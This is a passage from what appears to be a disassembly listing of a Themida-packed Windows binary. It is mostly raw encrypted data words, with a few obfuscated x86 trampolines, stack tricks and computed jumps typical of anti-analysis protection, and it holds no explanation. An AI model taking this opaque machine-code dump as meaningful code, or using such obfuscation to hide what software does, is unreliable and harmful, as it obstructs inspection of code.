68354A59h, 0B6CCED09h dd 5BCF8B90h, 0E524D081h, 0C38118D4h, 6886h, 0EE9F860h dd 63000000h, 417674E7h, 54A8B9F9h, 8AD5542h, 0FF2B614Ah dd 34FFC68Bh, 0AE91Fh, 4D5F0000h, 18ADE515h, 0F9A44EB0h dd 0CB8B665Eh, 0DE4AC681h, 605169FAh, 815861FCh, 0FAB265EEh dd 0A1C98022h, 0F3BBEE81h, 8166086Bh, 56B4A7E1h, 0FE9h dd 0E7201F00h, 0CC41F32Bh, 3E63AA4Ah, 0E4F2B9D3h, 663B048Fh dd 6693CA81h, 83D38B66h, 816604EFh, 8148D1EAh, 0FF9848FFh dd 1C850FFFh, 66000000h dd 2CE9D18Bh, 0AC000000h, 0F3CDBA35h, 2CD4B823h, 92B70669h dd 0A9F1A207h, 66B89C8Ah, 73E9D38Bh, 0EDFFFFFFh, 1F745EF6h dd 14236FBAh, 607F6E4h, 0E94A5C35h, 30h, 3AFE79EDh, 0Bh dup(0) ; --------------------------------------------------------------------------- jmp loc_5ADE00 ; --------------------------------------------------------------------------- push 6187075h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 61870F3h jmp loc_54EA15 ; --------------------------------------------------------------------------- db 68h ; h db 0FFh db 71h ; q db 18h db 6 db 0E9h ; é db 72h ; r db 10h db 0FAh ; ú db 0FFh ; --------------------------------------------------------------------------- pushf test eax, 0BBAF9F3Dh push ecx mov bl, 0C3h retf ; --------------------------------------------------------------------------- db 69h, 0CBh, 0DBh dd 0F1E17FE5h, 89F694FCh, 5FC7BC2Eh, 76DAD1C1h, 8FEFE8D8h dd 0A90701F1h, 3AAB0C0Bh, 76017612h, 0DC650619h, 176436Bh dd 92FC4A76h, 521A0F56h, 0A0F6F959h, 0C69C0508h, 30D96DCDh dd 28936776h, 88825AC4h, 0C26DD5CAh, 0E9FD2951h, 4AE2306Fh dd 2D1417ACh, 923DD533h, 0FBFAC021h, 0D07BC969h, 9FA200FAh dd 0FA9DC536h, 5EAC75FBh, 76D4CEC6h, 0D0B31D73h, 0FBFA537Fh dd 0D2B28B75h, 306DA7FEh, 288EEDEh, 0AD940000h, 0CF525982h dd 0CEC59B24h, 0A711676Ah, 0FB2E9734h, 3E388669h, 9E8946EBh dd 51451B98h, 0E38EE4E7h, 60554A72h, 9903516Bh, 0E792111Ch dd 72539976h, 979AE865h, 7B2313Ch, 608B1596h, 3BE63467h dd 6F0D6B65h, 3527857Fh, 7DD22B73h, 0A8EC9174h, 84000002h dd 97872591h, 0AB9B39A3h, 0C3B351B3h, 0D9C967CDh, 71DE7CE4h dd 47AFA416h, 5EC2B9A9h, 77D7D0C0h, 91EFE9D9h, 2293F4F3h dd 760177FAh, 5C9CEE01h, 0C22C8E86h, 0D8BF4645h, 38738F17h dd 0F478A011h, 39876FE9h, 5D85F6A1h, 6C6FE9F4h, 6ADB861Eh dd 69F2570Ch, 0B48A3583h, 23AC57BFh, 1898AB2h, 0D9439176h dd 0E766B5Bh, 7B9BBA0Bh, 7F79962Fh, 23F72F21h, 81647F62h dd 22ADCh, 0A30F0200h, 0B7211505h, 0CF312919h, 0E54B4131h dd 0FA625747h, 2290EF5Ch, 3727C52Dh, 4E3EDC40h, 6757F555h dd 72710F6Dh, 7778A011h, 74877601h, 0E0636A22h, 6A66C435h dd 5BA969F1h, 76DB0758h, 3A137601h, 0EE2F865Ah, 6776DE35h dd 1C000001h, 0CB7150Fh, 7EA1283h, 0A3F16FE9h, 0A6A05639h dd 1615AA48h, 8152CA8Fh, 0A651CF26h, 0E9190D35h, 36CE1C6Fh dd 305D1A8Bh, 1E6C69FBh, 109ECA1Bh, 0FDD675FBh, 84299B1Dh dd 8A90B3BBh, 38B72FC3h, 0BBB58AE4h, 0DF1D7451h, 2A64DE2Fh dd 0A000000h, 2C8E865Ch, 0BB4645C2h, 119E9F10h, 1AF69FBh dd 4AA0A30Dh, 325EAFB2h, 6A75FB1Eh, 86DDB191h, 0CDDE2F91h dd 8Ch, 0B7150F73h, 0A109FEB4h, 90EEE89Eh, 0B5170FE5h dd 0FF25CB2h, 63015F59h, 0E902DAD8h, 24827C6Fh, 67FAF186h dd 88F2E6BCh, 8222931Eh, 8969FDB2h, 0C5BA903Bh, 0DACFBF5Dh dd 0F19C8072h, 0C8AB7334h, 11E23h, 0AF1B0E00h, 0C32D2111h dd 0DB3D3525h, 0F1574D3Dh, 66E6353h, 2E9CFB68h, 4333D139h dd 5A4AE84Ch, 73630161h, 7E7D1B79h, 7884AC1Dh, 788B7601h dd 8F865C26h, 0F4E9C12Bh, 0D94BEE8Ch, 0B3CFC998h, 0A27AE471h dd 58AC4AA8h, 3A62D35Ch, 416FE907h, 2825FF3h, 0B35A80B9h dd 19777149h, 0A8666016h, 0F3494CB2h, 2528BD5Bh, 2E81F39Eh dd 666B5D54h, 0BA2BB620h, 69FC06E1h, 592FDA28h, 0BB5EFC64h dd 0FD99C132h, 52A075FBh, 0FD4975E8h, 655F75FBh, 84796907h dd 0A79B711Ch, 2B137C41h, 0BE56ED25h, 18FB65BBh, 7673h dd 636A2100h, 62C435E0h, 0AD69F16Ah, 0EADEB45Fh, 7D331680h dd 0E4872583h, 7535E72h, 73DDC0AAh, 4043A19Bh, 2728EDEFh dd 0E1C17859h, 1CBA1812h, 0D1D4322Ch, 0BCBF251Bh, 0A7AA1006h dd 1081FCF1h, 0AAE717E8h, 0E11A9F7h, 84F3D34Ch, 726C42EBh dd 0DF8AAA18h, 79F05F4h, 4D1CFC9Dh, 6757F553h, 5BB5AF6Dh dd 0C5F67839h, 0D5D87099h, 3FE4E77Fh, 3, 0F5995EDh, 0F7ADB01Ch dd 0E69C9FFDh, 0D48A8DEDh, 0C07679DDh, 0AA6063CBh, 944A4DB5h dd 7F35389Eh, 6C222587h, 4D0B0E78h, 81E38953h, 4C3h, 4EB8100h dd 87000000h, 895C241Ch ; --------------------------------------------------------------------------- sub al, 24h push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push 6D0Ch mov [esp], ebx push esi push edi push 2FB9452Bh pop edi shr edi, 4 sub edi, 0C8BE4EEAh mov esi, edi pop edi and esi, 2EDB6B60h sub esi, 59D051FCh dec esi xor esi, 0D65080EEh mov edx, esi pop esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx push eax mov eax, edx mov [ebx+8], eax mov eax, [esp] add esp, 4 push dword ptr [esp] pop ebx add esp, 4 mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_54EA15 ; --------------------------------------------------------------------------- dw 21Fh dd 0AA5AED17h, 54AA65D3h, 4EDAB044h ; --------------------------------------------------------------------------- loc_5ADE00: ; CODE XREF: Themida_:005AD980j mov eax, 6187342h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 85h, 56h, 0CBh dd 0DD2B8367h, 1BED0F47h, 0A16F6918h, 9643977Dh, 7E55CB19h dd 1378D4Bh, 73A16116h, 0E9269A25h, 909CE28h, 0CFBE5D51h dd 4524147Ah, 333BCE23h, 5D14F730h, 6C8D334Fh, 7254A67Bh dd 6580EB76h, 0E28D8D42h, 89061874h, 1218C995h, 0A18D8906h dd 6A061209h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0E0C6C357h, 3F1A81BEh, 89490E74h dd 121AA59Dh, 585C706h, 0CC061205h, 66000060h, 0C75CEBB8h dd 121BD985h, 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 2CED6945h, 0B5FFD2B0h dd 6120CD1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 0D6C35646h, 11B58B29h, 0FF06120Eh, 121B3195h, 0FF006A06h dd 1219CD95h, 0EBC08B06h, 6AFAD869h, 978AD21Bh, 0EAA1C2F2h dd 0CB20936Fh, 4FE862B4h, 255B1C1Ch, 0B55F899h, 0AD11679Dh dd 494ECF8Ch, 0CA84F5BCh, 1DAFEC00h, 99179E52h, 0AF5BBE5Ah dd 43502012h, 0DA88F490h, 1C5D46B6h, 0C40FA8CAh, 6B8F7E3Fh dd 1D6E8700h, 0ED7EAD9Bh, 12D329BBh, 6C90CBDCh, 0AB23D44Dh dd 0E89F1B7Dh, 85651462h, 0C70E4A98h, 14E807E5h, 0B4000000h dd 0FAACEE16h, 0C84952D6h, 78E59EB0h, 40A765Fh, 8BCEB407h dd 120C75B5h, 8B665B06h, 0B8C381F0h, 0E900005Ah, 10h, 415DFD1Bh dd 0A8660796h, 0F7D963FBh, 8A9F2DD4h, 167968h, 0D9D0100h dd 5F06122Bh, 291D858Bh, 33FF0612h, 6880Fh, 0B58B0000h dd 612013Dh, 0F3CE8159h, 817B0803h, 5E8AC8E9h, 5AE98114h dd 814D88CBh, 784047E9h, 5E94Bh, 61F00000h, 51D40DA7h dd 21998D89h, 38F0612h, 303EB83h, 120431B5h, 0BE94B06h dd 0CC000000h, 4FD66171h, 0F266C13Ah, 0F4FBF7Bh, 1185h dd 0D9D8900h, 0E9061201h, 27h, 1A391AD3h, 840FB1C7h, 6 dd 7349DE81h, 83E94C21h, 0E2FFFFFFh, 3FB6E514h, 0C542E470h dd 1DCCA2D8h, 8DFBCA61h, 1877098Dh, 5E906h, 95220000h dd 8916A935h, 1209A18Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 8BECE253h, 121C1985h dd 14E806h, 9FA60000h, 74C8ED8Dh, 0E7D5C551h, 0DD975B86h dd 0DC119474h, 0BE9CDF0h, 0D4000000h, 1515BDD2h, 45BE3C3Dh dd 0C75BAA9Ah, 12050585h, 6C3406h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 5270BDCFh dd 0A4E713h, 8B66A6C6h, 0D985C7DFh, 6121Bh, 89000000h dd 122ED18Dh, 0F1B5FF06h, 0F906122Bh, 1B3195FFh, 6A0612h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 51F72CC3h, 0F94CB0E6h, 95FF006Ah, 61219CDh, 5FEBC08Bh dd 578C159Ah, 0DB13866Fh, 6ED0EC93h, 0DAB6C610h, 75F5AF94h dd 57EC68F2h, 0D14D63CFh, 0ADDC9C0Eh, 793A17E9h, 49B27413h dd 0D4827CE8h, 8572E90Eh, 0DAF9CAFh, 4F03844Ch, 271EF01h dd 0D749429h, 0B98AB433h, 84FDE05Bh, 9914A692h, 5873A2A9h dd 0FA8EC9E1h, 2FFBA440h, 0AE71E3C5h, 5388687Eh, 5DB1605Ch dd 0E8B132AEh, 58D13254h, 0A3D0E4E1h, 0D5B37479h, 0EC333D36h dd 7AB13256h, 0BAB132D7h, 9B5BB356h, 0CFA2140Eh, 0DCD13256h dd 0A9313D86h, 85B13256h, 0E658530Ch, 0F7B13256h, 0C923799Bh dd 7397389Eh, 0AE5C7920h, 52595256h, 8FB13256h, 56655F6Eh dd 7B6FB330h, 9A30686Bh, 0E48646D0h, 0B4B13237h, 0AEB13253h dd 0BFDAE5CCh, 0CBB132E8h, 12E7B9E8h, 0E9353D27h, 13B13256h dd 2DD0FCDDh, 5CB16BA3h, 52B13256h, 57B0B859h, 0AB4D3256h dd 0DB363D56h, 3B13256h, 75B1325Fh, 6E4F16A8h, 0F162F1CCh dd 0F507A47Fh, 57B13556h, 14BE5256h, 0B4EA638Eh, 6DBE3256h dd 75B13240h, 0BAB123BFh, 42EFD156h, 979F61B2h, 0B5493200h dd 79EF1E05h, 6AD10699h, 0FAC81779h, 75D0F3DDh, 0BABDDB56h dd 5E843256h, 35CAAC58h, 4402F685h, 0ABB17140h, 260A5436h dd 0EAB15397h, 7AB132AAh, 0BAB128DBh, 49313D56h, 47B13256h dd 57B13259h, 0F5D9F67Ch, 5DBB90E0h, 0FF363FD6h, 7A5CC121h dd 0BAB133DCh, 5DB1CE56h, 0AEB1C7AAh, 57BFDB36h, 8953256h dd 8C4676FFh, 9E5F9C37h, 21A798B9h, 0F857B330h, 5DB153ADh dd 0A30B5436h, 36D1619Fh, 0ABB15309h, 0D5BDDB36h, 0FB1A3256h dd 0F25958FFh, 663C6E10h, 3C44237Ah, 0AEBBB659h, 0D6D13256h dd 0FE235094h, 0B47EB920h, 0E5D13256h, 75B131D0h, 710E3D56h dd 52B13237h, 0AEB13ED3h, 57B6DB56h, 632C3256h, 0E655CDD2h dd 1FB132ABh, 0F6BE3256h, 0BAB1325Eh, 260E5436h, 0CFE96407h dd 0DDBE3256h, 0ABB13257h, 29B132AAh, 0EA483256h, 75B1CE56h dd 0B5B132AAh, 5DB13AD2h, 0AC353D56h, 37B13256h, 42B13237h dd 0D5B1325Ch, 0DF5EF725h, 0A9BB8CADh, 0BAB10E15h, 0F876B336h dd 0CF953AB4h, 57B13254h, 82B13256h, 44D9E4Eh, 4D6B4979h dd 0DF66E12Ah, 3963F838h, 5DB1B524h, 0A6B6E5AAh, 50B13056h dd 89B13D56h, 55B13B56h, 0B0E4C354h, 0D1A39914h, 0B50F26DBh dd 5DB133D3h, 57D0C756h, 43583256h, 92B13256h, 0C2C19A33h dd 0A63D0E1Dh, 0ACE80DC3h, 355AA48Bh, 52DFC648h, 0AEB12AD9h dd 36D15256h, 0ABB13DBFh, 632C1A56h, 0C4EE1231h, 0B7AC2D9Bh dd 2219AF04h, 52B13237h, 0AEB13FDCh, 0D20A5256h, 2A86F2C1h dd 0FB39F3B5h, 0EAB1534Eh, 75B9BA59h, 37BE3256h, 5DB13254h dd 0AEB15336h, 0AEB132AAh, 0ABB13EBFh, 26A8D256h, 0E9D34319h dd 0F9A93BDBh, 53B1321Eh, 5DB13251h, 0C4ED673Dh, 5758EB5Bh dd 2AB37856h, 0B409D0B4h, 60BE3256h, 75B13246h, 0BAB139BFh dd 6C793256h, 0D4D6926Bh, 7EA20E56h, 0A9FB3256h, 0D5A0DB56h dd 782C3256h, 0F3344133h, 5B33315Fh, 4BD68E45h, 16F1A1D9h dd 57B13256h, 79B13256h, 0CBE892F5h, 0C0A4FEA9h, 83208A4Dh dd 387C56A1h, 3D803DC5h, 0AEB138BEh, 0BFBAE856h, 3F569457h dd 8C32006Bh, 7A9D8830h, 25E96837h, 0B158AE36h, 8AB13256h dd 0DD539F92h, 989F9B66h, 6231570Ah, 0D5B7DB1Eh, 2DB73256h dd 16232FA2h, 0BA2753CBh, 0F82D3256h, 8F39192Ch, 0A853510h dd 0F2119184h, 0C07DCD48h, 0BA2C297Ch, 2F803D04h, 0E2EB530Eh dd 219526DFh, 0AEB7DB75h, 0B0173256h, 28830FC2h, 452153CBh dd 0C301C134h, 906D7DF8h, 0EAB1B937h, 3DE36204h, 47803D37h dd 57B13245h, 0C1E43E69h, 0E360CA0Dh, 28BC9661h, 7BB82285h dd 0E0740E79h, 0B4803D0Eh, 0AEB13250h, 2A6515B0h, 0F3EBF124h dd 0D19576DFh, 2D16006h, 75B1325Bh, 0BEA6A4E7h, 2D0210BBh dd 32BE5CBFh, 0BE2D6BF3h, 0ABB13250h, 88853510h, 6BD79184h dd 9C3B2C98h, 0BAB13242h, 469B279Ah, 5947A3EEh, 0C433FF32h dd 447FFB86h, 0DE6BB7AAh, 0DBBE53CBh, 6758AE36h, 88B13256h dd 238832D5h, 24441E89h, 1C02AADh, 491CF681h, 0FB6CB225h dd 0EAB126BFh, 4FD46E56h, 0BC507ABDh, 0CFACC691h, 70A85235h dd 0BD64BEE9h, 0F9E1AF8Dh, 8DEB0359h, 0B2E96837h, 75B1325Fh dd 0E427C443h, 0C70571C2h, 47B13275h, 57B13246h, 7C272378h dd 0C36A5A41h, 8C3868Dh, 0E101AC83h, 0DCD13256h, 7FAEEDD7h dd 0CF6E8D59h, 0AE4D3256h, 0A6583256h, 0F5B13256h, 0EFAC3A50h dd 0CBDDB989h, 8D6D8CA3h, 53583256h, 0B2B13256h dd 6984AA70h, 0BBA59D9Bh, 0B4BE599Ah, 3B13252h, 75B13251h dd 0E55EBD74h, 5D3FF131h, 0AEB1CB56h, 37B132AEh, 0AB3D3D04h dd 8FB13256h, 8AE98D30h, 15B13237h, 20DDFBD7h, 0E0B278Ah dd 0CF8B60FBh, 57483256h, 0ABB1CA56h, 0D5BBBF59h, 8AD13256h dd 3A78B337h, 0DBA1446Fh, 3BD13256h, 15F8F8EFh, 1673418Dh dd 0ABBFDB37h, 0D51E3256h, 0B08024Dh, 7094BD0Eh, 4EBAB441h dd 0E5D13256h, 0C3E26518h, 57A5DA36h, 0C6813256h, 52FFD7CAh dd 0EC3D1C8Ah, 4B68DAEAh, 1D49D95Fh, 0B4EB47BCh, 0AEB1325Ch dd 2C5481C0h, 4F6FBA8Eh, 0B4D0DEB6h, 6FBE3256h, 75B13257h dd 46B132AEh, 3DD13256h, 5B315336h, 57D0530Bh, 0A5353D56h dd 3CB13256h, 0EAB1325Fh, 4F79B126h, 199B41E2h, 3DB13201h dd 57628559h, 0AFB13237h, 23BE3256h, 0D5B1324Ch, 0EAA5B359h dd 7A583256h, 1B13256h, 1B7AA81Ah, 5495080Eh, 0D44E4B48h dd 0ABB19A9Fh, 0D5B123BFh, 0EFEF1B56h, 0B8D4FC4h, 5EAA36B8h dd 67CC6A19h, 0AEB16741h, 57B126BFh, 6CF94D56h, 3109E199h dd 0F84F085Ch, 6AB46F4Fh, 25B12193h, 0B4B132F1h, 0AEB13259h dd 0E0CCDD4Bh, 0C1BB86E5h, 195F449Dh, 0E5B882BFh, 75B12BD2h dd 0BAA5DB56h, 0AA9B3256h, 0B90125B9h, 0C3D596DDh, 3E715D17h dd 23CA399Dh, 0EAB177BAh, 75BADA36h, 9B0C3256h, 0F2DFFB57h dd 3FE33C39h, 573F3D4Ah, 0F2B13256h, 7D2D8830h, 1FB13237h dd 754D3256h, 6F3B5256h, 0B4B13237h, 0AEB13246h, 0A7D634CFh dd 0FFBB14B8h, 5717632h, 74D328C4h, 0FDBE3256h, 0BAB1325Ah dd 5DB7B759h, 28BE3256h, 57B13256h, 0AB493256h, 6BD75256h dd 890829EEh, 1497C3E4h, 0B5583256h, 9BB13256h, 949BCAAEh dd 6DD70B48h, 57EC54F4h, 0D5B105C6h, 0EAB7B059h, 15D13256h dd 0DBE86137h, 0EBD13256h, 0CF66B92Dh, 9C085436h, 0ABB153B8h dd 17305436h, 0E4591B69h, 0F4B13256h, 0E8A3D325h, 0A225581Bh dd 0D2917C22h, 36EECACCh, 0AB493256h, 0D5B7DB56h, 0C14E3256h dd 8E5A30BDh, 3FBE3256h, 5DB1325Ah, 0AEB7BA59h, 0D2BE3256h dd 0ABB13256h, 0D9583256h, 0E8B13256h, 893AFDD9h, 0EDE39E50h dd 5D712F73h, 0AEBBDB56h, 47253256h, 45296B1Ah, 0BD458268h dd 69BE3256h, 75B13257h, 53B132AFh, 5DB13242h, 0CFBD83E0h dd 703577Dh, 6C09CE13h, 9B2C0229h, 2AE816B9h, 754D3256h dd 0BAB1CB56h, 5DB13ABFh, 412ECA56h, 4CA9FC39h, 5EB132FEh dd 0DA4D3256h, 0EAB133D7h, 75B1CB56h, 53B132AAh, 5DB13253h dd 7D96CC1Fh, 4C3D3D06h, 0A4B13256h, 0D5B127D1h, 0EAA1DB56h dd 0F4BE3256h, 1A14BAFh, 0BB04FC74h, 0EBD89F0Ah, 57B1C0DDh dd 0ABB123BFh, 96614556h, 83E53746h, 0FB2ADAE8h, 3E4F6662h dd 5DB10733h, 0AEB2BB59h, 0ABD13256h, 0CBB13237h, 0DA6F8559h dd 0EAB134DFh, 9A43B356h, 0DBA9C072h, 0DFBE3256h, 0AEB1324Fh dd 0B8898B36h, 0A6582158h, 42B13256h, 0D3DE4206h, 0F1966BB3h dd 7C737BAAh, 0B4B13237h, 0AEB13253h, 8145F4B8h, 53B13232h dd 0DAD13256h, 0EAB133D1h, 75D0CA56h, 0B6303D56h, 0B4B13256h dd 0AEB13251h, 310F0D52h, 0AB938F37h, 0C7595256h, 1DB13256h dd 0E4AB893Eh, 0F2019042h, 0ACD39D8h, 434B9F89h, 57323D29h dd 0F0B13256h, 0B47B8D59h, 0E5D13256h, 75B131DBh, 6A0E3D56h dd 5DB6DB36h, 0F1593256h, 5C7D8230h, 0CAEB623Ch, 29B13237h dd 0F9583256h, 10B13256h, 0C32FEE81h, 0B0CBC029h, 0D3A0A5A9h dd 141F6E2Fh, 0ABB1DB80h, 3F69B336h, 0B8F18A28h, 75B126BEh dd 1671A256h, 0BF57D1D2h, 44E964D7h, 8F708616h, 50C37D48h dd 0B4E96BBBh, 0E3583256h, 82B13256h, 8BB8069Fh, 0C3CA81DAh dd 0A1D13256h, 57B134DAh, 0AB3F3D56h, 3CB13256h, 0EAB1325Bh dd 0ED64BEA5h, 89D460ECh, 0CCBABBFAh, 0AEB1536Dh, 0D04E8836h dd 0CA4937D5h, 0D5483256h, 8CE05256h, 15EEF9DDh, 0BAB13EBFh dd 6A330356h, 0C2D4F7F7h, 0A377DC86h, 0F45FB280h, 0D5B15337h dd 8C2A8336h, 8174FBD7h, 53B13237h, 5DB13259h, 0F89E8483h dd 95810C38h, 7380CFB1h, 0D55D7A38h, 0FA383D56h, 15B13256h dd 0BAB135BFh, 565B1756h, 19B5086Eh, 0BED05336h, 0ABB1325Ch dd 91C8E7B9h, 0C4226F11h, 75B15D2Fh, 0DAB132AFh, 5EF6200h dd 0CF7B8559h, 0BFD13256h, 0ABB13251h, 0C0849B64h, 610CC88Bh dd 0F1BE6D80h, 0BAB13257h, 5DB153AFh, 0AEB13EBFh, 8BFE056h dd 0E4FDCC1Ah, 0ED9EAA06h, 3B13218h, 75B13246h, 15A1FF0Fh dd 60AA99E7h, 0E659F7C4h, 0D486280h, 0AB443256h, 0D5BADB56h dd 0EB623256h, 0B6466CDDh, 79C7A4C8h, 575952D9h, 0F5B13256h dd 0FFE45DEAh, 415D5FD6h, 0F371B2DAh, 8BD8810Ch, 9CD13256h dd 0BAB13258h, 0A699AA95h, 92783DB5h, 5DB263DCh, 0ABD08139h dd 0D5A1DB56h, 4BAB3256h, 86D42044h, 0BCA9818Dh, 0DD659EE6h dd 46D1D48Fh, 57B1325Ah, 21E9446Bh, 0B3BFC933h, 0E9B3A167h dd 75D06AAFh, 0B54D5256h, 5DB134D5h, 0AE3B3D56h, 36B13256h dd 57B132A3h, 5FBE3256h, 0EAB1325Fh, 0CB48B836h, 0A15C27A2h dd 0D3BE5237h, 0AEB13256h, 6267B330h, 0ABB153E0h, 0DAB132AFh dd 0EAB135D8h, 743A3D56h, 4FB13256h, 0B5D13256h, 0AEB13258h dd 0D5F88E4Bh, 4A796209h, 0EA00E90Fh, 1A0EC193h, 2E872BE6h dd 0A89FE5D7h, 52D01E58h, 0AEB13AD8h, 95305256h, 0EFDAAA20h dd 0B5B13237h, 8B7FB930h, 75443256h, 0BAA2DB56h, 1B3C3256h dd 0F4D5306Ch, 1296E2CDh, 0D3DC662Fh, 6012E2C1h, 0ED373D4Fh dd 7AB13256h, 0BAB133DDh, 5DB1C756h, 57B132AFh, 43583256h dd 0B7B13256h, 36061F8Ah, 40C968BDh, 61ADBDFh, 0E7F1BBA5h dd 5D8F8D70h, 7F3A5256h, 367FB930h, 0ABB123BFh, 0F7789F56h dd 20936D52h, 440210A8h, 247EEE60h, 5DB1661Ch, 0AC333D36h dd 7B13256h, 630F540Ch, 6AD1535Fh, 0E80B9818h, 71BB8D30h dd 0DAB13237h, 5DD0C0DDh, 0B63C3D56h, 37B13256h, 0ABB13FBEh dd 2EF29B56h, 62993DEAh, 16E92758h, 3AEA7F72h, 0A4D02D91h dd 0AE483256h, 57A2DB56h, 5E733256h, 231636FCh, 0C2CAA726h dd 0D1F4FA32h, 0D58DAE38h, 52B13283h, 0AEB137D9h, 0DCD75256h dd 0CDD15391h, 4F18FAD7h, 0A6085406h, 75D06801h, 0BABCDB56h dd 85DF3256h, 3BEA9E53h, 0E473F6E2h, 0ABB43807h, 0D5B4DB56h dd 0F2953256h, 89EA92F7h, 53D13256h, 5DB13253h, 0B895A45Ah dd 8C305248h, 0D5E94E27h, 77BB330h, 0EAD05382h, 75B1CB56h dd 0BAB0BA59h, 5D483256h, 0A53C3D56h, 0BEB13256h, 0ABB13250h dd 0A16E1A1Ah, 0EAB19E38h, 86305436h, 0DB4DCDB2h, 5DB139BFh dd 0CB8D4056h, 0B725572Bh, 8F4810EAh, 0D5483256h, 0EAB8DB56h dd 99273256h, 9C0EECB3h, 5D390FDFh, 0BD58CB56h, 0D9B13256h dd 0DB3FAD07h, 0E1C50F4Bh, 5A1B0BDCh, 1221BE96h, 0BAB16CFCh dd 0A5B132AEh, 0C8D13256h, 0EDD7F3DDh, 0ABD06373h, 0D5A3DB56h dd 6E793256h, 8882D6A9h, 0B4A72633h, 7D8B7E8Dh, 1B4B97FEh dd 0D9BE3256h, 0ABB1324Eh, 3D77B936h, 0EAB13258h, 32833A33h dd 1D6DFCBDh, 0A66C2E48h, 0CFEF3A10h, 0BEB132AFh, 0ABB1325Dh dd 4AE0BC38h, 0D7AC42D8h, 753B0622h, 0BAB4DB56h, 15453256h dd 0AE4AEEF4h, 57A2DB56h, 46C13256h, 89CE71DBh, 0EC5556A2h dd 0B863F692h, 1A56FD4Dh, 3DB132B7h, 0A1738D59h, 57B133D3h dd 0ABD0CE56h, 0D9373D56h, 0E5B13256h, 75B134D6h, 0BA3B3D56h dd 5DB13256h, 0AEB1CB56h dd 57B139BFh, 0D6B4B956h, 7A713B93h, 10BB9637h, 0F4D13256h dd 0BD35A9B0h, 8A305435h, 0AED0C55Eh, 0BED1C756h, 0ABB13258h dd 5D22C578h, 8CD4A5E5h, 427771C8h, 31D75353h, 5DB153A1h dd 5F3A5436h, 3676F5D6h, 0AD583256h, 28B13256h, 979294ADh dd 15B13295h, 0B5E86536h, 5DB132DEh, 79315356h, 0AED153ADh dd 0ABD0FADDh, 0D93D3D56h, 0E5B13256h, 75B134D4h, 0BA3D3D56h dd 5DB13256h, 0B23F3D56h, 37B13256h, 4367B930h, 0D5B13247h dd 0F148F15Eh, 0A90A180Dh, 6C5246D4h, 0DE2B261Fh, 0AED06C2Ch dd 57BCDB56h, 73273256h, 74DC2D8Bh, 5FFCCD35h, 75BA7AF5h dd 0BB373D56h, 0A1B13256h, 2FD13256h, 34DB74BDh, 0ABB15325h dd 6E60B336h, 3876C00h, 75B13259h, 1FDA2046h, 70BE554Dh dd 0F38CCE6Eh, 3625DF57h, 0A2583256h, 0ACB13256h, 7AF0FD73h dd 7DA33594h, 0AB583256h, 0F3B13256h, 507C3595h, 21FD6595h dd 686DB8BFh, 0EFECF3Bh, 68BE3256h, 75B1324Eh, 0BAA3BA59h dd 50583256h, 0C9B13256h, 0A3CB7124h, 0B54EAC7Ch, 80404432h dd 0EAB135BFh, 0E77B1C56h, 3B5C6EAh, 0DEBE3256h, 0AEB13241h dd 57B120BFh, 0C91F1F56h, 6D06CE7Ch, 6E2058AEh, 7FA74AE0h dd 0BA0137F2h, 5DB7DB56h, 0C5643256h, 0C8637C20h, 52493256h dd 6CD13256h, 0BD138E3Bh, 658FF2E9h, 0BAB15368h, 3DB132AFh dd 0AEBEDB36h, 26B93256h, 0AA680793h, 9E99FA07h, 1D9029B9h dd 0FDBE53FAh, 0BAB13254h, 5DD06A07h, 0AEBCDB56h, 0D6823256h dd 97F6CF63h, 4F07B43Eh, 8AB6C62Bh, 75B134BFh, 9305DA56h dd 3C4EF170h, 25D13256h, 0A5305289h, 0D3C606C8h, 0B4608D59h dd 0E5B13237h, 75B138DBh, 5BE5256h, 0AC3054A4h, 0AED0ACE0h dd 57B1CB56h, 0ABBAB159h, 0D3583256h, 66B13256h, 31275E15h dd 53B132CCh, 5DB13245h, 0DAF31F9Fh, 0AD823975h, 7470965h dd 58AB8DB4h, 0EA7047ECh, 0BA3A5256h, 0BAB153AFh, 5DBDBF59h dd 0A9583256h, 0FAB13256h, 0A75238C9h, 0D5B1A0CDh, 13B132AFh dd 73583256h, 0A0B13256h, 9CC84A09h, 0AEB9DBFDh, 0B6FE3256h dd 1D29A340h, 0D5B1AE62h, 0EAA7BC59h, 64583256h, 29B13256h dd 3918B149h, 0D3680B2Dh, 8EC81227h, 184A6A6Bh, 0DAD13256h dd 0EAB137D8h, 0A2318C56h, 31D72D32h, 5DB15399h, 0AEA5BD59h dd 58583256h, 0E3B13256h, 7B02E36Eh, 901F075Eh, 1DA0BAE7h dd 0BAB18E53h, 0B4B132A3h, 0AEB13244h, 4DFBAE8Ah, 0E58F767Ch dd 65F4FE5Ch, 25612103h, 75B17C14h, 0BAB123BFh, 9929ED56h dd 45CD2D30h, 0EA1FFCFBh, 6C367D0Fh, 0D5B19102h, 0EAA2DA36h dd 8C093256h, 4CF1AEE4h, 5057365Dh, 10D07BCBh, 15E10BC6h dd 0AB363D2Fh, 8FB13256h, 0EAB134BFh, 71432B56h, 0DB0F4679h dd 0D5BE3256h, 0AEB13250h, 0E7D05236h, 0ABB153C8h, 0D5A1DB36h dd 7C3256h, 9628CC35h, 0CED759B3h, 371C3DB1h, 0F0E0B922h dd 37B13237h, 0ABB2B359h, 6ABE3256h, 0E83E3D9Dh, 0FEB13256h dd 34BE53A5h, 5DB1325Eh, 0AEB3BA59h, 36D13256h, 0AC583256h dd 0CFB13256h, 5AEC60D4h, 75B1958Bh, 6D305436h, 7D090DAFh dd 0CF9DDAC1h, 57B9B059h, 2DBE3256h, 0D5B13254h, 0EAB15336h dd 75B138BFh, 0AF732C56h, 0CD85D8D2h, 0A12505C9h, 57B127D0h dd 0ABA1DB56h, 5BB83256h, 9DBF086Ch, 0D48FF3F4h, 0DAFB50D8h dd 5DB1B955h, 0AEB135BFh, 